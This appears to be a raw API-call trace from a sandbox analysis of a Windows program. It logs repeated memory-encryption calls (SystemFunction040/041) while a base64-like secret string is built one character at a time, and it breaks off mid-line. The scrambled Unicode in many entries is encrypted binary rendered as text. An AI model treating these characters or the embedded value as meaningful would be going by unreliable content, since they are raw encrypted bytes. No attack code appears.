[0229.892] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.892] SysStringLen (param_1="NDZlO") returned 0x8 [0229.892] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.892] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0229.892] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0229.893] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.893] SysStringLen (param_1="NDZlOD") returned 0x8 [0229.893] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.893] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0229.893] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0229.893] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.893] SysStringLen (param_1="NDZlODR") returned 0x8 [0229.893] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.893] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0229.893] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0229.893] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.894] SysStringLen (param_1="NDZlODRm") returned 0x8 [0229.894] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0229.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.894] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0229.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0229.895] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.895] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0229.895] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0229.895] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0229.895] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.895] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0229.895] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0229.896] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.896] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0229.896] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0229.896] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.896] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0229.896] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0229.896] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0229.896] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.897] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0229.897] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0229.897] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0229.897] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.898] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0229.898] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0229.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0229.898] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.898] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0229.898] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0229.898] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0229.898] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.898] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0229.898] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0229.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0229.899] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0229.899] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.900] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0229.900] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0229.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0229.900] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.900] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0229.900] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0229.900] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0229.900] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.900] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0229.900] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0229.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0229.901] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.901] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0229.901] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0229.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0229.901] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.901] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0229.901] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.901] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0229.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0229.902] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.902] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0229.902] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0229.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0229.902] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.902] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0229.902] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0229.902] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0229.902] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.903] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0229.903] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0229.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.903] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0229.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0229.904] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.904] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0229.904] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0229.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0229.904] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.904] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0229.904] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0229.904] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0229.904] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.905] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0229.905] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0229.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0229.905] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.905] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0229.905] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0229.905] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0229.905] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.908] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0229.908] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.908] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0229.908] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0229.908] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.908] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0229.908] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0229.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0229.909] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.909] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0229.909] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0229.909] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0229.909] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.909] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0229.909] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0229.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0229.910] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0229.910] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.911] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0229.911] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0229.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0229.911] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.911] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0229.911] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0229.911] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0229.911] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.911] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0229.912] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0229.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0229.912] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.912] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0229.912] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0229.912] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0229.913] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.913] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0229.913] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0229.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0229.913] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.913] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0229.913] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0229.913] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0229.913] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0229.914] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0229.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0229.914] SystemFunction041 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.914] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0229.914] SystemFunction040 (in: Memory=0x5c926a4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c926a4) returned 0x0 [0229.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.914] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0229.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0229.915] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.915] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0229.915] SystemFunction040 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0229.915] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0229.916] SystemFunction041 (in: Memory=0x5c93004, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c93004) returned 0x0 [0229.916] SysStringLen 